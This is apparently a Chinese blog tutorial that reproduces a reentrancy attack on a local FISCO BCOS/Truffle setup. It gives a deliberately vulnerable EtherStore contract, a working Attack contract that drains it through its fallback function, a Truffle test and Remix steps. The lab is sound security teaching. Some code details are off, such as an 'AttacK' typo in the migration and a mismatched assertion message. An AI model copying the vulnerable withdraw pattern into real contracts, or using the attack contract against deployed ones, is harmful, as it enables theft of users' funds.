FISCO BCOS十一、通过Truffle和remix实现智能合约的重入攻击

目录

一、部署环境

1、安装truffle

2、创建truffle工程

3、创建测试合约

3.1、在contracts目录下创建EtherStore.sol和Attack.sol合约

3.2漏洞分析

4、编写迁移文件

5、自定义测试文件

6、使用测试

7、通过remix实现

一、部署环境

1、安装truffle

npm install -g truffle

2、创建truffle工程

truffle init

3、创建测试合约

3.1、在contracts目录下创建EtherStore.sol和Attack.sol合约

EtherStore.sol合约代码如下:

pragma solidity >=0.8.3;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这里定义了一个EtherStore.sol合约,其中有三个方法,分别是deposit()withdraw()getBalance() 

  • deposit()方法是用户用来往合约里存储以太币的
  • withdraw()方法是用户取出存在合约里的以太币的
  • getBalance()方法是用来查询该合约里所有用户存储的以太币
  • 当你部署合约之后你会发现有一个公共的mapping(balances),这个balances可以用来查询当前用户在该合约下拥有的以太币

Attack.sol合约如下:

import "./EtherStore.sol";
contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1);
        etherStore.deposit{value: 1}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这里定义了Attack.sol合约,其中有一个对象,一个构造方法,一个回退函数fallback(),三个自定义方法(attack()getBalance()

  • 构造函数和合约对象用来调用EtherStore.sol合约
  • fallback()方法会在EtherStore.sol合约中withdraw()方法中call被调用,随之会一直提取以太币
  • getBalance()方法用来查询当前合约存储的以太币

3.2漏洞分析

  1. 当一个合约接收到以太币时,如果没有匹配的函数调用,就会触发 fallback 函数。而在某些情况下,我们可能需要在 fallback 函数中调用其他合约的函数,这时就会使用 call 函数来实现这种调用。
  2. 当 Attack.attack 调用 EtherStore.withdraw 提取了先前 账户充值的 1 个以太时会触发 Attack.fallback 函数。这时只要 EtherStore 合约中的以太大于0 Attack.fallback 就会一直调用 EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中,直到 EtherStore 合约中的以太等于0 。这样攻击者会得到 EtherStore 合约中的以太币

4、编写迁移文件

1_init_mi.js 代码如下:

const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

module.exports = async function (deployer, network ,accounts) {
    await deployer.deploy(EtherStore);
    const a = await EtherStore.deployed();
    await deployer.deploy(AttacK,a.address);
}

5、自定义测试文件

ReEntrancy.js 代码如下:

const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

contract("ReEntrancy", async (accounts) => {
        it("test re-entrancy loophole", async () => {
            const depositInstance = await EtherStore.deployed();
            await depositInstance.deposit({ from: accounts[0], value: 1 })
            await depositInstance.deposit({ from: accounts[1], value: 1 })
            const attackInstance = await Attack.deployed();
            await attackInstance.attack({ value: 1 });
            const balance = await attackInstance.getBalance();
            assert.equal(balance, 3, "accounts[2] should be 3 because of the re-entransy loophole")
            const balanceA = await depositInstance.getBalance({ from: accounts[0] });
            assert.equal(balanceA, 0, "accounts[0] should be 3 because of the re-entransy loophole")
        })
    })

   根据3.2漏洞分析可知我只需要部署EtherStore.sol合约,用俩个用户分别调用deposit()方法往合约发送以太币,然后使用攻击者部署Attack.sol合约,部署合约的同时传入EtherStore.sol 合约地址,再去调用attack()方法就可以实现重入攻击,取走EtherStore.sol合约存储的以太币,上述代码就实现了这一逻辑,下面我们来执行测试文件。

6、使用测试

truffle test ./test/ReEntrancy.js

 测试文件测试通过,表示重入成功!

7、通过remix实现

7.1 部署EtherStore.sol合约(账号1部署的)

7.2 部署Attack.sol合约(部署传入EtherStore.sol合约地址,账号15部署的)

7.3 使用 账号2 调用EtherStore.sol合约中的deposit()方法发送俩个以太币,查询当前账户下的以太币,以及该合约存储的以太币数量

可以看见账号2下的以太币为2,合约中的以太币为2

7.4 使用 账号3 调用EtherStore.sol合约中的deposit()方法发送俩个以太币,查询当前账户下的以太币,以及该合约存储的以太币数量

 可以看见账号3下的以太币为2,合约中的以太币为4

7.5 调用Attack.sol中的attack()方法,实现重入取出以太币,再分别查看余额

可以看见Attack合约下已经取出EtherStore.sol合约中存储的以太币了,而EtherStore.sol合约中已经没有以太币了,但是用户下显示还存在,但是无法取出来,因为合约存储的以太币已经被盗走了!

 

到这里使用truffle和remix实现重入攻击已经结束了!!!

已经可以去编写任何测试用例去测试合约,已经测试漏洞了!!! 

猜你喜欢

转载自blog.csdn.net/qq_63235624/article/details/134275874
今日推荐